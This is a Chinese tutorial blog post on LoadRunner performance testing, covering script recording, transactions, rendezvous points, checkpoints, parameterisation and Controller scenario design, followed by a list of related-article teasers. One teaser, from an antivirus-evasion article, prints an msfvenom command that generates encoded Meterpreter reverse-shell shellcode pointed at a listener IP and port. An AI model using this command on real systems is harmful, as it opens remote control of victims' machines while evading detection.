初识Load Runner

news2024/11/24 9:48:55

Load Runner安装

为什么选择Load Runner

  1. Load Runner 有强大的录制功能,Jmeter没有录制功能
  2. Load Runner 可以设计丰富的测试场景
  3. Load Runner 能够产出丰富的测试报告

Load Runner三大组件之间的关系

每个组件分别是干什么的?
virtual User Generator(VUG):录制脚本(编写脚本)
Controller:设计测试场景,运行场景
Analysis:产生性能测试报告

virtual User Generator(VUG)-----将脚本放到对应的测试场景中 -----> Controller ----- 场景运行结束 -----> Analysis

Load Runner脚本录制VUG

  1. 了解WebTours系统

    • 启动WebTours :双击LoadRunner安装路径下的StartServer.bat
      在这里插入图片描述
      在这里插入图片描述
    • WebTours配置
      要访问服务器上部署的服务,只有一个IP不能成功访问,还需要端口号。
      端口号在 WebTours\conf\httpd.conf文件中
      在这里插入图片描述
      账号路径
      在这里插入图片描述
  2. 脚本录制,精简
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
点击录制按钮
在这里插入图片描述

在这里插入图片描述
录制好的脚本,有很多无关系统的代码。需要进行删除

  1. 编译
    在这里插入图片描述

  2. 运行(回放)

在这里插入图片描述

Load Runner脚本加强 VUG

1. 为什么要对脚本进行加强

2. 脚本如何加强

事务插入

在这里插入图片描述

  • 函数:
    lr_start_transaction(“login”) 开始事务
    lr_end_transaction(“login”, LR_AUTO); 结束事务
  • 注意事项:事务必须有开始,有结束;开始事务和结束的事物之间的事务名称必须一致。
插入集合点

在load Runner中,为了达到并发的机制,引入了集合(让所有用户同时发送请求)
插入集合点 lr_rendezvous("rendezous1");
在这里插入图片描述

插入检查点

函数:web_reg_find

web_reg_find("Fail=NotFound",
"Search=All",
"Text=Welcome",
LAST);

在这里插入图片描述

参数化

双击右键点击参数
双击左边的parameters,可以看到已经添加进来。

参数化后要显示扩展日志才能看到详细信息
在这里插入图片描述
设置运行次数
在这里插入图片描述

打印日志

lr_log_message
在这里插入图片描述

lr_output_message

	// 如果当前登录是用户是Test01,此时输出字符串:Test01 hello
	if(strcmp("Test01",lr_eval_string("{username}")) == 0) {
		lr_output_message("hello %s", lr_eval_string("{username}"));
	}

在这里插入图片描述

学习目标:通过Controller设计简单的测试场景,简单的分析性能测试报告

Controller

controller打开方式

  1. VUG打开
    在这里插入图片描述
    在这里插入图片描述

  2. 双击Controller
    在这里插入图片描述

场景设计

在这里插入图片描述

Global Schedule

Initialize 初始化
在这里插入图片描述

Start Vusers 启动方式
在这里插入图片描述

Duration 运行时间
在这里插入图片描述

Stop Vusers 退出用户
在这里插入图片描述

运行场景

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

添加系统资源的监控数据
在这里插入图片描述

在这里插入图片描述
当虚拟用户逐渐启动的时候,Running折线逐渐上升,当所有的虚拟用户启动完毕之后,Running这条曲线就稳定下来,达到水平状态。
当虚拟用户运行时间到时,Running曲线逐渐下降。
Finish曲线开始一直是0,在Running逐渐下降的时候,才进行上升。

Analysis

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043886.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搭建Vue的开发环境,Edge浏览器安装VUE拓展工具

一、在下载vue.js文件 在vue官网中下载开发版本的vue.js文件--> 安装 — Vue.js (vuejs.org) 二、将vue.js导入到项目中 这时候我们运行项目控制台会抛出两个错误 三、安装拓展工具 这里以Edge浏览器为例,其他浏览器上可在拓展管理商店中下载 进入Edge的拓展…

python安全工具开发笔记(六)——Python爬虫BeautifulSoup模块的介绍

一、Python爬虫基础知识介绍 1.1 Python相关库 1、requests、re 2、BeautifulSoup 3、hackhttp 1.2 Python BeautifulSoup Python BeautifulSoup模块的使用介绍∶ 1、解析内容 from bs4 import BeautifulSoup soup BeautifulSoup(html_doc) 2、浏览数据 soup.title soup…

C语言 循环结构

while循环和for循环都是入口条件循环,即在循环的每次迭代之前检查测试条件,所以有可能根本不执行循环体中的内容。C语言还有出口条件循环(exit-condition loop),即在循环的每次迭代之后检查测试条件,这保证…

Python 比较出2个list中相同的内容,忽略大小写

2个list 比较出相同的内容,忽略大小写 大致思路如下: 首先让list里面的内容都转成大写或者小写,之后在遍历其中一个list 来判断是否在另外一个list中 代码 a ["Apple", "Banana", "Pear", "Peach&q…

快递批量查询高手软件:一键批量分析已揽收单号

每天都需要同时货好几家快递呢,发货的量也是比较大,平时大家时什么跟踪快递呢,如何在大量单号找出已揽收或未揽收单号呢?有没有便捷方法,可以批量筛选出单号呢,想知道得跟着小编往下看。 1.首先我们在电脑…

用原生js写一个弹窗消息提醒插件(转载)

https://www.cnblogs.com/mr-zhima/p/10909950.html 喏,就是这么一个效果。 1. 分析 当消息被触发的时候,会有一个自上而下的淡入过程。在持续了一段时间后会自动的消失,或者是需要用户来手动的点击关闭按钮。在消息消失的时候,…

ChatGPT 现在可以看、听和说话了!

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

javaee之黑马乐优商城6

商品品牌的查询 上面就是我们需要根据分类id去找品牌 假设我们现在拿到的是 商品的分类id,我们需要根据分类id查询出对应的品牌即可 下面我们拿到上面的接口,直接撸代码 这个是和品牌相关联的操作,因为先去看一下BrandMapper,这个mapper是…

协议-SSL协议-基础概念01-SSL位置-协议套件-握手和加密过程-对比ipsec

SSL的位置-思维导图 参考来源: 华为培训ppt:HCSCE122_SSL VPN技术 ##SSL的位置 SSL协议套件 ​​​​握手阶段,完成验证,协商出密码套件,进而生成对称密钥,用于后续的加密通信。 加密通信阶段,数据由对…

深入理解红黑树

小白慎入!本文难度比较高,需要对红黑树有一定的了解再来看! 红黑树 红黑树是一种高级数据结构,是平衡树大家族中的一员,并且听名字就知道这个玩意不是凡物,可能你从未听过,但是你一定会为这样的…

微前端无界 项目使用记录

1预期目标和场景 一个vue框架开发的应用,需要使用另一个系统的页面。 通俗来说,就是在一个web应用中独立的运行另一个web应用 2 技术支持 微前端处理方案:无界 无界官网: https://wujie-micro.github.io/doc/guide/ CSDN 参考…

金蝶云星空和聚水潭单据接口对接

金蝶云星空和聚水潭单据接口对接 对接源平台:聚水潭 聚水潭成立于2014年,创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初,以电商SaaSERP切入市场,凭借出色的产品和服务,快速获得市场的肯定。随…

如何给Nginx配置访问IP白名单

一、Nginx配置访问IP白名单 有时部署的应用需要只允许某些特定的IP能够访问,其他IP不允许访问,这时,就要设置访问白名单; 设置访问白名单有多种方式: 1.通过网络防火墙配置,例如阿里云/华为云管理平台 2.…

计算机竞赛 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 深度学习人脸表情识别系…

数独C++代码实现

数独是源自18世纪瑞士的一种数学游戏。中文中“数独”一次,实际上是源自于日语对于数独的音译。是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据99盘面上的已知数字,推理出所有剩余空格的数字,并满足每一行、每一列、每一个粗线宫&#xf…

LeetCode 75.颜色分类

题目链接 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 题目解析 题意很清楚,让0,1,2按照顺序排好,但是不能使用sort库函数。 将数组分为四部分,分别是: // [0,left] 0 // [left,i] 1 // [i,right] 未…

华为数通方向HCIP-DataCom H12-831题库(单选题:161-180)

第161题 某台路由器Router LSA如图所示,下列说法中错误的是? A、本路由器已建立邻接关系 B、本路由器为DR C、本路由支持外部路由引入 D、本路由器的Router ID为10.0.12.1 答案: B 解析: 一类LSA的在transnet网络中link id值为DR的route id ,但Link id的地址不是10.0.12.…

Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

文章目录 前言适用场景1. 准备2.新建GameManager3.编译运行4.脚本详解后话 前言 没看过前面的教程请先阅读前面的教程,本期将会讲到Netcode联机的申请,当一个Client想连接进来,应向Server发送申请联机的信息,然后由服务端向客户端…

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类,EasyExcel自动拥有EasyExcelFactory父类的所有方法,如read(),readSheet(),write(),writerSheet()等等。 3. 进入.read()方法,需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成: 1.msf生成C#语言的shellcode 命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线: 1.c#语言shellcode加载代…